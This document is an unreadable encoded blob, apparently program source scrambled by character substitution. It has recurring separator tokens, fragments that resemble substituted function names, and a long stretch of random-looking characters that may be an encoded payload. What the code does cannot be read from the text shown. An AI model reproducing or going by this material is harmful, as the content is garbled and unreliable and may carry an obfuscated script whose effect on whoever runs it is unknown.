?)HCHVRF/	SHCH	AA33YHCH	AK9 Y;2HCH33AYFY2/HCHAYAA	KJ2KYJAHCHYR	/2	KJHCH2	FYHCH;K33J2HCH33AYFY2/HCH;/SS33AY^33J;HCHT@?YAA	KJKYJAHCH!Y2	JA2/J;YHCHSK!!Y	JHCHZ:)HCHVR!YJY/2Y/332,;KK	YHCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCH;KK	YAHCH	AA2	J!HCH933HCH9RHCH	;HCH,/A;/RHCH/F	J	A2/2KHCH	;HCH;^HCH	;HCH	J2Y;YR2HCH	AA2	J!HCH	;HCH	A//EHFCGH;^HCHJKHCHSK!	J;^HCH>HCH-/D^CD3HL\&CUMHCHF_HCHSHCH,2SHCH^33J;2	KJY	A2AHCH!Y2KR2	KJHCHK9SJ	& ^CJ]. 33HCH	A//EHCHYRSKYHCH2	FYHCH^33J;2	KJY	A2AHCHK9SJ	& ^CJ]. 33HCHF_HCH2	FYHCH	J/FYHCHA;HCH	J/FYHCH	KHCH/2KF	;JK	7HCHA339A2HCH/2KF	;9/R,R7HCH^33J;2	KJY	A2AHCH/2KF	;JK2YFRJ/F7HCH^KRYJHCHV9HCH^V	2YHCH^AEJ;HCH/2KF	;2YFR^/	S7HCH/2KF	;A,K2V	2Y7HCH9/AYJ/FYHCH*A;KSHCHF2/JHCH^	SYA	'YHCH	AA2	J!HCH	A^	SYHCH	KHCH/2KF	;YJ/FY^/	S7HCH^	SY!Y2;KJ2YJ2AHCHF_HCH,/A,^	SYHCH	AA2	J!HCH^	SYA	'YHCHA339A2HCH/2KF	;BY	^E^/	S7HCH	AA2	J!HCH^33J;2	KJY	A2AHFCGHF_HCHF_HCH/2KF	;2,	R/2E7HCHA2RKAHCH	AA2	J!HCH^33J;2	KJY	A2AHCHE33Y^FEBVA F]9'33HCH^33J;2	KJY	A2AHCH,KFY33SHCHVRYFK2Y!Y2HCHA;R9PHCHY	Y;2	KJHCH$/;,YD$KJ2KSHCHJKD;/;,YHCH^33J;2	KJY	A2AHCHVRYFK2Y!Y2HCH$/;,YD$KJ2KSHCH	AVRYKHCH9/AYJ/FYHCH0JQ6^WK33SY7FKR,R-CD*3H0*;+0AR,RB/S33Y7/332KRYRYJ^	SY->0J3HHCH->0J3H0JQ06^WK33SY+0J	HCH0JQ6^WK33SY7S	2YARYY+0AR,RB/S33Y7/332KRYRYJ^	SY->0J3HHCH0JR,RB/S33Y7/332KRYRYJ^	SY->0J3HHCH->0J3H0J	HCH^33J;2	KJY	A2AHCHKR;/;,Y!Y2A2/233AHCHKR;/;,YYJ/9SYHCH*R,RHCHV	2Y^/	SY7HCH9/AYJ/FYHCHV9HCH^SK;HCHV	2Y^/	SY7HCH9/AYJ/FYHCHA;/F	J2	;HCHA;/F	J	J^S	!,2HCHA;/F	J	J^S	!,2HCH^33J;2	KJY	A2AHCH^33J;2	KJY	A2AHCH33AYJ/FYY	A2AHCH/F	J2	;HCHY/FRSY*;KFHCHVRAY2R/AAVKHCH//E/JHCH/F	JHCH;KSS	A	KJHCHVR	JAY233AYHCHVRD	J;S33YA33AY*R,RHCHVRD	J;S33YA33AY*R,RHCHVR	JAY233AYHFCGH33AYSK!	JHCH33AYR/AAHCH33AYYF/	SHCH	ARS/EJ/FYHCH	AK9 Y;2HCHJKVR9HCHVR,/A,R/AAVKHCH;33YJ22	FYHCHFEASHCHIDFD7O	OAHCH33AYR/AAHCH33AYJ	;YJ/FYHCH33AYY!	A2YYHCH33AYA2/233AHCH	ARS/EJ/FYHCHAHCHAHCHAHCHAHCHHCHAS	JAY2^/	SHCH33AY	HCHFY2/YEHCHFY2/B/S33YHCHAHCH33AY	HCH33AYSYBYSHCH;SY/J33AY;/;,YHCH/F	JHCHBY	^E^/	SHCH!Y233AY9EHCHSK!	JHCH^33J;2	KJY	A2AHCH33AY;/JHCH;/RBY	^E^/	SHCHVRYSY2Y33AYHCH^	SYY	A2AHCHVRD/F	J	J;S33YA33AY*R,RHCHVRD/F	J	J;S33YA33AY*R,RHCH933HCHJKHCHJKHCHA;;,/	JHCH33YEV,YYHCH7N5733AYSK!	J7#P7HCH,	YHCH!Y2KR2	KJHCH/SSHCH/F	J	A2/2KHCH00%=0=HFCGH00%0=HCH,	Y;J2HCH^33J;2	KJY	A2AHCHSK!	JJK2	JHCHSK!	JJK2	JHCH	J//EHCH,	YYA2HCH	AA2	J!HCH	J/FYHCH	J/FYHCH	A^	SYHCH	J/FYHCH//EFY!YHCH	A	HCHR,RHCH^33J;2	KJY	A2AHCH!Y2KR2	KJHCHA2ESYA,YY2HCH2YFRS/2YHCH2,YFYAHCHVRD;KJ2YJ22,YFYAHCHA2RKAHCH	A//EHCHA22KSKVYHCHR,RHCHR/22YJAHCH	A//EHCH	AA2	J!HCHA2SYJHCHRY!F/2;,HCH^	SY!Y2;KJ2YJ2AHCH	J Y;2&HCH	J Y;2HCH	A//EHCH	A	HCH0HCH	J/FYHCH	J/FYHCH	J/FYHCH,KFYHCHB/VVVHCHB/VVVB,KA2AHCHB/VVV,2FSHCHABVVVHCHAB33AYAHCH33ASK;/SVVVHCH	J	!Y2HCHKRYJ9/AY	HCH//E33J	33YHCH//E^	S2YHFCGHF	;K2	FYHCH	AY//9SYHCHKK2AHCHVRD;KJ2YJ2F33DRS33!	JAHCHVRD;KJ2YJ2RS33!	JAHCH	A//EHCH	JA2/SSYHCHA;ARY/	J2YB/SHCHA2SYJHCHARY/HCHA;ARY/JHCHJKKK2AHCHVRD;KJ2YJ2F33DRS33!	JAHCH	A	HCH	AV	2/9SYHCHR/2,	J^KHCHVRD;KJ2YJ2RS33!	JAHCHA2SYJHCHARY/HCHVRD;KJ^	!*R,RHCH	A^	SYHCH	J/FYHCHY^	JY0A00A-G3H5NW)-G3H0A0A-G3H->G3H%=-G3HHCH2/9SYRY^	0AP0A-G3H->G3H%=-G3HHCH>-/D'DCD3H%MHCH33YEHCH>-/D'DCDMD3H%MHCH9J/FYY Y;2YHCH*HCHKR2	KJAHCH?Z7ZN?$6(NHCH))$7KR2	KJB/S33Y7
Z(W7HCH7T)Z)7KR2	KJJ/FY7P7HCH/;2	BYRS33!	JAHCH76W67&7
(Z7:@5)HCHZ($HCH$(WW6HCH@5)7HCH7?)7KR2	KJB/S33Y7P7A7T)Z)7KR2	KJJ/FY7P7HCH/;2	BYRS33!	JAHCH33R/2Y^/	SHCH$(WW6HCH/;2	B/2YHCH	AK9 Y;2HCHVR9HCHR",;331
^%BCX"	NJ,/C^("J/22IJ&?2
E	"
A!KT&  AJ2 33 W;$['3333^^;
'C@C.NNE2"!WE;"'^,;"\AB,X.$9?[,N[K$33A&SY1_%
N)JA,
SE"6,33)!Z@?N_XBB&Y\_@'EAV'[/33;521 :V:WF]33BV]NCZ[Z\JI_\]T"?W;6)FT;9VNA9FV]VT9]CY;Z,B?9 2	5W_'C&YTJ5/V@F[KF\&KF
B/]$ JJ!W )33@C!]5^]SX'2[ 1	.XF"%:;33)") %"(Y]F"_6_V(FNE)!_%:9	\]] T]9 6/1
I?6/VZ,KF:'/ $B.S J'./33I33_&AF&&1%]&,,/^@,]5& WESI^ B_CYJ$ J'V$F,T6\YA33@$/;2C_T,(CRF,I
F:' ]I33ZV'  @.1BE'5'RAJ?. NB?Y!Y\"$6/(AE:	 ]I6^_5W332(_3369IX Y%)9EN%552:@339!S6[:	KC&/F[BJ]6,S]56' ]6'	.2?$S:^33.F&EK	ZI\&&V $%$(33ET@$%"R&6%VB]@T5 $%6"?[!_AE9%%;:S6!B(6	.Y6@C\%_^!WITZAXWW"!?V%?/@&FNX5@T5T^ :T$533JJ2&	N;S9F@.SCVKT_.!A::A&2ZA@:)CR%?$1:	@\I"R)6,.1X\&^X$ JR("ZIW_\YB(JA	YJ6]6')"K$N%'T,2NA331 
 1XC]W?T,A2ZK)NF[ YCVBBJ$?I^5 A
\^Y:BT&A%I6(,1J^!]VI&&SR?RW9B	 ^"9@J&$9 /_NNNV29BR)/^,![!Y!]9I@9FI	5B9J$V:&
W!@ 9. 6(1T;	W1ZA[&2R1"YFNV][
VW^ZCI:.S.6[ .:Y.V"Y(33X%CBW.RV"R!5I
]$R_ %V%I $F'_I%%5B)('?/R!R_F2RFC FTZ33. ":;I()33C_)]1
 ,B(%332::V! ,. A"R^[,^/.&B."E.^ CR@]EJI1$[T@VSV:IF ;95XVN(N]ER233Z	$K6CK.%(;B5)R@'S!\1F/1:,CVS)_[!;&6A_)A. ! A?2:]R 
33)'^Z'X;;/33WI!YSZ
_ X]KX2?]"B,\$.]NT"KB,(\33ZRI
"V5^]W&AVK	IAA1_C_ER5(@	J^2%33^,1&",("I9AA/&VIFAS/@'@A;ZC!]C  33EWA]!AY@C.%,.(\ ;6XRRFIT)JF"33[Z WFE$/?^!
@ E"T&]ZI/:_.TSE(CB2)EE!1RY%I1^)K^SA,R
FW6&^6B/BS9ITS6Y5/6]	'/@K9FB6B$J9 V '691IW9NR!EK .SI[F,,F:^A]SS5!(/	F	KI6/&,)F'EA$@R: [/^]&"JZ?C??/W&E,S\ @33\5Y\.5
\Z?ISS)(R.
5/B[Z.F( AR A"YB@/^E[33@ 1%
VV)B$WE12.
/W?K1)S 5 ?.WS__V/;W1B.?S;6./XJ_1A6BE^'B^"SB;"W&1,\A99!9W\
' )
TR%@,A
R9"
N"_"/@\33:,\^
@AFWT5!(]6/,'1J^\EJ(	[@(IA925B:
6; )X"]$C2VI
::^.	$9R66!,\SS5C '1\33%K^5\2;@]:I_\N9X.%, 9$ S YWNZX);@$:_N2K./A
'R\5$%]S:B&/	YZ2&!6Y@V%$KYF(K@:,]S$%"33["NXC .S9"]!EFK;5N1/VJ )?(C^N
_W2);S 
_%11NCV??,S""S[J]_IA&!%,E33)W/,V1,(!&)"&S	B&B\^)_AA66N2Y_C'/Y6/^^IS\_:T%,AI_1533I33
'@&)XA@K(!6XK;"Z,S&.$, %"?2]R)&'Y 2"@"E[(/S$SR:N5S ,33NF&9 SJW[NT':';:2SX!@;5$&?:%E:V,EARVI1JK%/2("  ?](/Z VVS2I)	"Y[YI^!?_R ]"^XF^;^^C
X$1BCA33S"%
)@I%S,29.6 WS('"1K\K;R.TFWS\33$ /C_?CZ	FY;N?/_(
9Z$ %NI?J_33
@%^[EW
(SYV?6W,X!_CY33E[9.5XR'[T \!B:XFW_ET33
( 6R :Y$6R,@@6AWS]BX
KWI^ 99@\:JR&?CVN[F5N_Z/ &WI"@? R6(@1].,E(!E%:[?!(R$2I@X NX [@T.
5'9:\,NJ("E/AY J;!J6(
T96&[65/[TW.$ ?
:@/33, N\^KR@E FNS;W2&R F6 ?RY@(CJ5V&
2^Z/)ES? 6!JT ^^
'F33"WC[YNKY336V9% Y,JSWBIK E\]1R(RT,?R&,9^Z% CJV^33W; , 5I&) V\.TJ)&R;CA"@ EF$N\[[&]WY33:Y$C;N_%1BVW)6%33%/A,)([I	S?\F%6S,KE9B5?33C^J\;A2W[C?X!R/.XR:,CFETBK1%!:\N33 VXN%J! .XT1!";NKB ,@VPPHCH	AA2	J!HCH9/AYJ/FYHCH'	RHCH*'	RHFCGH	JA2HCH;KJ2YJ233SHCHVRD;KJ2YJ2HCH,22ROHCH,22RAOHCH,22RAOHCH,KFY33SHCHRPHCHRPHCH>,22RAOHCHA;AVHCHA;R/!YHCHJKHCHR/AY33SHCH;KJ2/;2AHCHR;AHCH/F	J/AYHCH'	R:SHCHAS33!HCH	JA2/SSY:SHCHV	2YYEHCHVHCHR/!Y$KYHCHA2SYJHCH AKJYJ;KYHCHB/7?$((P?(N*R/AY/2K9GHCH AKJYJ;KYHCHG==4HCHB/7?$)N$PGHCHG4HCHAV;KJ^	!HCHAV;KJ^	!A	!HCH,KFY33SHCHA2RKAHCH,22RAOHCHRY!YRS/;YHCHAV33SHCHJKHCHAV;/;,YHCH	A	HCH	JA22RSHCHVHCH	JA22RSF	AA	J!HCH^	SY!Y2;KJ2YJ2AHCHF_HCHAV	JA2HCHAVHCH!Y22/JA	YJ2HCHA;R/ESK/RYA	A2YJ2HCH	AA2	J!HFCGHA2SYJHCHA2YRS/;YHCHA2SYJHCHA2YRY/2HCHA;AVHCHA2SYJHCHA;R/!YHCHA;R/!YHCHA;R/!YHCHF_HCH^	SYY	A2AHCH^	SYY	A2AHCHAVAY233RHCH?@HCH;S	HCH^33J;2	KJY	A2AHCH	J	!Y2HCH	J	!Y2HCH	JA2HCH*HCH'	RHCHA;	J	Y/HCH2	FYHCH0J/332KRYRYJ^	SY0AP0A-G3H->G00J3HHCH->G00J3H-G3H00J	HCH33J	2RSHCH*A;HCH	HCHT@$(N)N56ZHCH	J	HCH33J	2RSF	AA	J!HCH	J	HCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCH/332KRYRYJ^	SY0AP0A-G3H=->G00J3H%=0&	HCHJKJYHCH2EL<	J;S33YKJ;Y7HCHB/YRK2HCH4U;/2;,0,KV/9SY7MY=LU;/2;,0);YR2	KJ7MY=LU7HCHMA;RP	J/FY
6)=*G*HCHG4HCH	^<	A^	SYMA;R==LMA;;P<^	SY!Y2;KJ2YJ2AMA;R=4	^	AA2	J!MA;;==LHCH	^A2SYJMA;;=+&C1]_.\=MA;;PRY!YRS/;Y0J00-CD/D^3HL&CCCU00=%MMA;;=4HCH	^	AA2	J!MA;;=F_MA;;=PPPHCHF_HCH=L2EL<	J;S33YKJ;Y7MA;R4U;/2;,0,KV/9SY7MY=LU;/2;,0);YR2	KJ7MY=LUU33JAY2MA;;=4UU33JAY2MA;R=4HCH^	SY!Y2;KJ2YJ2AHCH	J	V/RHCH	J	HCH	A^	SYHFCGHA;	J	^/	SHCHA;	J	^/	SHCHJKHCH;	;33	2KRYJHCH0HCH2	FHCH	A^	SYHCHY/^/	SYHCHA339A2HCH/332KRYRYJ^	SY7P7GHCHA;	J	RYJ	J!HCHJKHCHA;	J	^/	SHCH	J	HCHRK9Y_CCHCHJKHCHJKHCH?$@Z)@HCHA;	J	RYJ	J!HCHA;	J	RYJ	J!HCH	J	!Y2HCH33AY	J	*;/;,Y22SHCH2	FYHCHJKHCH	J	HCHRK9YY/HCHR,RA/R	J/FYHCH*,2/;;YAAHCH(R2	KJA7D6JYYAHCHQ
	SYAW/2;,7G0*'	R8SK!8AS=MG+HCHQ6^WK33SY7FK/332,';KY*;+HCHZY33	Y7/SS7YJ	YHCHQ6^WK33SY+HCHQ6^WK33SY7#FK/332,';KY*;+HCH5YJE7^KF7/SSHCHQ6^WK33SY+HCHQ
	SYAW/2;,+HCH^	SY!Y2;KJ2YJ2AHCH,2HCH	AV	2/9SYHCH,2HCH,22RSF	AA	J!HCH^33J;2	KJY	A2AHCH2	FHCH/332KRYRYJ^	SY0AOP80A=0A-G3H=->G00J3H%=0&	HCH2	FHCH>Q0R,RHCHQR,R72EL<	J;S33YKJ;Y7HCH4U;/2;,0,KV/9SY7MY=LU;/2;,0);YR2	KJ7MY=LUHCH	AA2	J!HFCGHR;Y^/	SHCHA;,2Y/HCH2	FYHCH	A^	SYHCHA2RKAHCH,2SK/YHCH	A^	SYHCH,2HCHA;,2^/	SHCH,2HCHR,RB/S33Y7/332KRYRYJ^	SYHCH^SK;HCH	A^	SYHCH^	SYY	A2AHCHY/^/	SYHCH^33J;2	KJY	A2AHCH^SK;HCH^33J;2	KJY	A2AHCH^SK;HCHR;Y^/	SHCH7GHCH7GHCH^33J;2	KJY	A2AHCHA;,2^/	SHCH2	FYHCHJKHCHA;,2^/	SHCHJKHCH!Y2KR2	KJHCHKR2HCHA2SYJHCHA2SYJHCH^33J;2	KJY	A2AHCH5(?HCH5:?)ZHCH5@??T(Z5HCH5NW)HCHFEAS	HCH5NW)HCHKR2HCHFEAS	O7HCHA339A2HCHT@$(N)N56ZHCHVRD;KJ2YJ2HCHK;HCH*VRDK9 Y;2D;/;,YDHCH*/2HCH^	SY!Y2;KJ2YJ2AHCHA2SYJHCH?$5&HFCGHA339A2HCHA339A2HCH	AA2	J!HCH?@HCHK;2RSHCH	AA2	J!HCHRY!YRS/;YHCH>Q0R,R0AHCH	AA2	J!HCHK;FHCH7?$($)X6NOHCH7HCH7?$($)N5OHCH7HCHQR,R77*VRDK9 Y;2D;/;,YDHCH777?$($"OHCH;/J/E/F^/	SHCH^	SY!Y2;KJ2YJ2AHCHA2RKAHCH?$($)X6NHCH*VRDK9 Y;2D;/;,YDHCH?$($"O0%0*0%0*0%=HCH+PHCHRY!YRS/;YHCH0J007?$($)X6NO-/D'DCD*3HOHCH=700*007?$($)N5O0&7000JAHCHK;HCHY	JA;/RHCH7*VRDK9 Y;2D;/;,YDHCH^	SY!Y2;KJ2YJ2AHCH>?$5&O0%0*0%0*0%=OHCHA;K;/2KHCH2	FYHCHJKHCH/2;K33R2HCH^33J;2	KJY	A2AHCH!'YJ;KYHCH?$5&OHCHK;HCH^33J;2	KJY	A2AHCH^2KHCH?@HCH^	SYY	A2AHCH^2KHCH^33J;2	KJY	A2AHCHA,FKRKRYJHCH^33J;2	KJY	A2AHCHA2SYJHCH,/A,HCH,/A,HFCGHA,/_\HCH?$?W&OHCHA2SYJHCHA,FKRKRYJHCHA,FKRA	'YHCHA,FKRY/HCHA,FKR;SKAYHCHA,FKRV	2YHCHA2R/HCHA,FKRHCHA,FKRYSY2YHCHA,FKRY/HCHA,FKR;SKAYHCHRY!F/2;,HCHQ0R,R	HCH>0AY;S/Y0A0*0=0A48J/FYAR/;Y0A%->4L3H%0A4=	AHCHA339A2HCHA;Y	JAHCHA2RKAHCHA;Y	JAHCH	AA2	J!HCHKR	JHCH233!K^V/7HCHT@$(N)N56ZHCH	AV	2/9SYHCH^33J;2	KJY	A2AHCH	J2B/SHCH?$5"HCH/B2RSHCH/BHCH/B2RSF	AA	J!HCH^	SYY	A2AHCH^	SY!Y2;KJ2YJ2AHCH/BFHCH7?$5")X6NOHCH7?$5")N5OHCH007?$5")X6NO-/D'DCD*3HOHCH=700*007?$5")N5O0&700AHCH?$5"(5)5HCHA2RKAHCH-7023H	^0A00AY^	JY0A00A-G3H?$5"(5)5-G3H0A0=0A0=0AY233J0A4->00J3HHCHA2SYJHCH/BHCHY	JA;/RHCH;/J/E/F^/	SHCH/BHCH^33J;2	KJY	A2AHCHR,RA/R	J/FYHCHZ)[:)?W)(5HCHA;!33/HFCGHVRD	J;S33YAHCH*R,RHCH*!SHCH*!HCH^	SYF2	FYHCH2	FYHCH*!HCH	A^	SYHCH^33J;2	KJY	A2AHCH^	SYF2	FYHCH	A^	SYHCH*!BHCH>0%0*0%0*0%MHCH*!AHCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCH2	FYHCHY/RA33ARY;2YHCHJKA2/233AHCHF33DRS33!	JAHCH	AV	2/9SYHCH*R,RHCH*R,RHCHT@@:X6N56ZHCH!33/HCH9/AY\1YJ;KYHCH9/AY\1YJ;KYHCH9/AYJ/FYHCH!33/2RSF	AA	J!HCH!33/2RS	JB/S	HCH*!FHCHA339A2;K33J2HCHA2SYJHCH	AA2	J!HCHA;HCHA2SYJHCH33JR/;HCH	A//EHCH;,HCH^33J;2	KJY	A2AHCH	A^YYAR/;YHCHT@$(N)N56ZHCH?@HCH^33J;2	KJY	A2AHCHA;R/K^^2AHCH^33J;2	KJY	A2AHCH2	FYHCHA2SYJHCHA339A2HCH2	FHFCGH+HCH/JKF9E2YAHCH9	J,YHCHF_HCHHCH	AA2	J!HCHA2SYJHCH00J00-CD/D^3HL&CCCU00=%MHCH!Y2KR2	KJHCH	AA2	J!HCH	A^	SYHCHA;KVJFHCHA;KVJFHCHA;KVJF/J	^YA2HCHA;KVJFHCHA;KVJFHCH^	SY!Y2;KJ2YJ2AHCH2	FYHCH;K33J2HCH;K33J2HCH	AA2	J!HCHA;KVJFHCHA;KVJFHCHA;KVJFHCH^	SYA	'YHCHFK	^	YHCH^	SY!Y2;KJ2YJ2AHCHA2SYJHCH^	SYA	'YHCHSY!/;EHCH^	SY!Y2;KJ2YJ2AHCHA2SYJHCHKVJHCHKVJHCH*R,RHCH!Y2KR2	KJHCHA;KVJY;HCH	AA2	J!HCH	A//EHCHYHCHYHCHKHCHA2/2YHCH9KK22AHCH!YJHCHR/2,HCH9/AYJ/FYHCHA2/22AHCHZ)[:)?6W)HCH^33J;2	KJY	A2AHFCGH33R/2YKR2	KJHCH	A	HCHQR,RHCH AKJYJ;KYHCH9KK22AHCH33JJKVJHCHY/HCHY/HCH	AA2	J!HCH00-CD/D^3HL&CCCU00=0AMHCH^	SY!Y2;KJ2YJ2AHCH9/AYJ/FYHCH^	SYF2	FYHCH^	SY!Y2;KJ2YJ2AHCH^	SY!Y2;KJ2YJ2AHCH^33J;2	KJY	A2AHCHA;Y^YYYSHCHF_HCHA;Y^YYYSHCHJKHCHA;Y^YYYSHCH	A//EHCH	A^	SYHCH^33J;2	KJY	A2AHCH2ERYHCHY/SR/2,HCH^	SYHCH	AA2	J!HCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCHA2RKAHCH*S!HCH*S!HCHRY!F/2;,/SSHCH9/AY\1Y;KY00A-D/D'CD%0P3HL&CCCU=0A0=HCHO!'Y;KY8!'	J^S/2Y8!'33J;KFRYAA=00AGO->G003HO00*->G003H===GAHCH0HCH00-CD/D^D
3HLU=HCHVY;,	']\;/2^.HCH	AA2	J!HCHO!'Y;KY8!'	J^S/2Y8!'33J;KFRYAA=00AO->003HO00*->003H===AHCH00HCH0HCH	AA2	J!HCH!'HCHRY!F/2;,/SSHCHO!'Y;KY8!'	J^S/2Y8!'33J;KFRYAA=00AGO->G003HO00*->G003H===GAHCHA2RKAHCH00-CD/D^D
3HLU=HCH	AA2	J!HFCGH0HCH00-CD/D^D
3HLU=HCHRY!F/2;,HCHA339A2HCHA339A2HCH>-/D'DCD*O3H%MHCHA339A2HCH7HCH)N5OHCHA339A2HCH;/SS33AY^33J;HCHA2SYJHCH2,FHCHRY!F/2;,HCH007?$)X6NO-/D'DCD*3HOHCH700HCH	AA2	J!HCH?$HCH			& _]1Y,21HCH?$55HCH/SCS]33Y^EHCH	AA2	J!HCH00?$5-/D^CD3H%00J->0J3HMHCH	AA2	J!HCH^R 9!KR9FS	 &.&192J2HCH^R 9!KR9FS	 &.&192J2HCHRY!YRS/;YHCH?@HCH2,FHCH007?$)X6NO-/D'DCD*O3H%=700HCHF_HCHHCHRY!F/2;,/SSHCH007?$55)X6NO-/D'DCD*O3H%=700HCHA;;HCH	AA2	J!HCH^33J;2	KJY	A2AHCH!Y2KR2	KJHCHA;;/J/EHCHA;;HCH	2YFAHCH	2YFAHCH	A//EHCH,/A,Y33/SAHCH^33J;2	KJY	A2AHCHDD+HCH!Y2KR2	KJHCHA;S9FKYHCH9S	JHCH2	FYHFCGHY!	A2YA,332KVJ^33J;2	KJHCH	A//EHCH2AHCH2	YAHCH	2YFAHCH2AHCH	2YFAHCH;/J/EHCH9/V	2Y^/	SHCH2,9HCH*9/HCH;/J/EHCH	2YFAHCH2	FYHCH	2YFAHCH	2YFAHCH2AHCH2AHCHY!	A2YA,332KVJ^33J;2	KJHCHV'B]RVS9SR29V/KA9HCHVRYFK2Y!Y2HCHAASBY	^EHCH,Y/YAHCHJKDA2KY7JKD;/;,YHCH@/!F/HCHJKD;/;,YHCH	AVRYKHCHVRYFK2YY2	YBYYARKJAY;KYHCHVRYFK2YY2	YBY9KEHCH	A^	SYHCH!Y2KR2	KJHCHA;;/J/EHCH	2YFAHCH2AHCH	2YFAHCHA;;/J/EHCHS	2YARYY^	J	A,Y33YA2HCH^33J;2	KJY	A2AHCH	!JKY33AY/9K2HCH^33J;2	KJY	A2AHCH^33J;2	KJY	A2AHCH2AHCH33JBY	^	YYYR7HCH9/AYJ/FYHCHA;;PHCH/V33SYJ;KYHCHPHCHF2/JHCHKSS9/;_CC7HCH9/AYJ/FYHFCGHQ#DD?$OHCHDD+HCH	2YFAHCHA;;PHCHPHCH;/J/EHCHKSS9/;SK!	J_CC7HCHA2RKAHCHQ#DD?$OHCH	2YFAHCH	2YFAHCH9S	J8HCH2	FYHCHS99S	JHCH	AA2	J!HCHA;S9FKYHCHK8HCHA;;/J/EHCHJKHCHA2RKAHCHA;^/FHCH?$)X6NHCHA2RKAHCH?$($)X6NHCHA2RKAHCH*AHCHA2RKAHCHA2RKAHCH?$"OHCHRY!F/2;,/SSHCH?$O585"8($=)X6NO0%0*0%0*0%=HCH^	SYA	'YHCHAVYYRHCHJY332/S	'Y^KY	!JA	R7HCH^33J;2	KJY	A2AHCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCHRY!YRS/;YHCH-7023H007?$585"8($=)X6NO-/D'DCD*O3H%=700*007?$0&)N5O0700-7023H00JAHCH2	FHCH2	FHCHA;HCH^	SYR332;KJ2YJ2AHCH	A^	SY00A->3H%=0A0=HCH2	FHCH0HCHT@$(N)N56ZHCH2	FHCHA2RKAHCH*R,RHFCGH9^KY	!JA	R7HCH	A//EHCHA2RKAHCHAYBYYEHCHFK;?BYEDHCH	A^	SYHCH	J/FYHCH	A^	SYHCH	A^	SYHCHY/SR/2,HCHT@$KY6J2Y!	2EHCH2FRR,RHCHA2RKAHCHT@)W@56ZHCH	A	HCH	AV	2/9SYHCHRY!F/2;,HCHY^	JY0A00A-G3HT@$$)-G3HHCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCHA2RKAHCH?$5")X6NOHCHRY!F/2;,HCHY^	JY0A00A-G3H?@-G3H->0J3H0JY^	JY07T@$$)7233Y70=40JHCHY^	JY0A00A-G3HT@5):X-G3H0A0A233Y0A0=	HCHRY!F/2;,HCHY^	JY0A00A-G3HT@5):X(X-G3H0A0A233Y0A0=	HCHY^	JY0A00A-G3HT@5):X56?@I-G3H0A0A^/SAY0A0=	HCH-7023H007T@$KY6J2Y!	2E7-/D^CD3H%=700*007)JDT@$KY6J2Y!	2E70&700-7023H00JAHCHRY!F/2;,/SSHCH>-7023H	^0A00A#0A^	SYY	A2A00A02FR0R,R-D/D'CD3H%->0J3H0J-7023H	^0A00A0MK->0J3H0J=FHCHRY!YRS/;YHCH>-7023H	^0A00A#0A^	SYY	A2A00A02FR0R,R-D/D'CD3H%->0J3H0J-7023H	^0A00A0MK->0J3H0J=FHCH	AA2	J!HCHY^	JY0A00A-G3H?@-G3H->0J3H0JHCHRY!YRS/;YHCHY^	JY0A00A-G3H?@-G3H->0J3H0J=HCHM&HCHY^	JY0A00A-G3H?@-G3H->0J3H0JHCHM&HCH	AA2	J!HCHRY!YRS/;YHCHY^	JY0A00A-G3H?@-G3H->0J3H0J=Y^	JY07T@$$)7233Y70=40JHCHM&HCH	AA2	J!HCHRY!YRS/;YHCH>-7023HY^	JY0A00A-G3HT@5):X(X856?@I=-G3H0A->0J3H0J	FHCHRY!F/2;,HCHM&HCHVR;HFCGHY^	JY0A00A-G3H?@-G3H->0J3H0J=Y^	JY07T@$$)7233Y70=47007?$T$7000JHCHA;VHCH^	SYR332;KJ2YJ2AHCH33JS	JHCH02FR0R,R-D/D'CD3H%=HCHA2RKAHCH2FRR,RHCH^33J;2	KJY	A2AHCHKR2	KJJ/FY0AP0A->3H%=HCH//E33J	33YHCHRY!F/2;,HCH>A	2Y2/JA	YJ2,Y/S2,8^YY=-/D^CD3H%MHCHT@$(N)N56ZHCHT@@:X6N56ZHCH	A	HCHA339A2HCH	HCH;KYHCH*R,RHCH^	SYA	'YHCH^	SY!Y2;KJ2YJ2AHCH^KY	!JA	R7HCH^33J;2	KJY	A2AHCHKR;/;,Y	JB/S	/2YHCH	J/FYHCH9/AYJ/FYHCHKR;/;,Y	JB/S	/2YHCH^33J;2	KJA*R,RHCH	AV	2/9SYHCH	AA2	J!HCH?$)X6NHCH?$55)X6NHCHA2RKAHCH?$5HCH^33J;2	KJY	A2AHCHR]Y] V B2HCHKR2HCH	AA2	J!HCHVAY!	11Y/19';HCH^33J;2	KJY	A2AHCHK9 SFR2&\' &S.EC]/JHCH^33J;2	KJY	A2AHCHSJ2^	; 33'CJ ; \2VHCHJKHCHA;9KK22HCH9KK2HCHSY!/;E2/YKBYHCHA;RYA	A2YHCH	A//EHCH2AHFCGH	2YFAHCH	2YFAHCHV'B]RVS9SR29V/KA9HCH,2SHCHS	JYOHCHS	JYOHCH2	FYHCHSHCHS	JYOHCHA;RYA	A2F/J	^YA2HCHA2/2HCHA	'YHCHF2	FYHCH080%=MHCHA339A2HCHA2SYJHCH2	FYHCH080%=MHCHA2SYJHCH2	FYHCH9/AYJ/FYHCH*R,RHCHRS33!	JAHCH*R,RHCH^33J;2	KJA*R,RHCH8HCH2	FYHCHA339A2HCH8CHCHRYA	A2HCHA	'YHCH9	!OHCHA2RKAHCH?@HCH*R,RHCH*R,RHCH*!HCH)X6NO-/D'DCD*O3H%=700*007HCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCH?$($"O0%0*0%0*0%HCHQR,R77*VRDK9 Y;2D;/;,YDHCHRY!YRS/;YHCH0J007?$($)X6NO-/D'DCD*O3H%=700*007?$($)N5O0&7000JAHCH;/;,YHCH*S!HCH!SK9HCH33RSK/AHCH2,YFYAHFCGH!SK9HCH*R,RHCH!SK9HCH*!HCH	JB/SHCH*!AHCH*!HCH*!RHCH*!2HCH*!FHCH*!BHCH*!A33HCH*!HCH!SK9HCH*!*R,RHCH	A^	SYHCHRY!33K2YHCH->0J3H0JQ06^WK33SY+0J	HCH	AA2	J!HCH	AA2	J!HCHRY!33K2YHCH->0J3H0J	HCH	AA2	J!HCHVRD;KJ^	!*R,RHCH	A^	SYHCHVRD;KJ^	!*R,RHCH	A^	SYHCH	A^	SYHCHA2RKAHCHRY!YRS/;YHCH-7023HY^	JY0A00A-G3HT@$$)-G3H0A0A233Y0A0=0A40A007?$T$700-7023H00J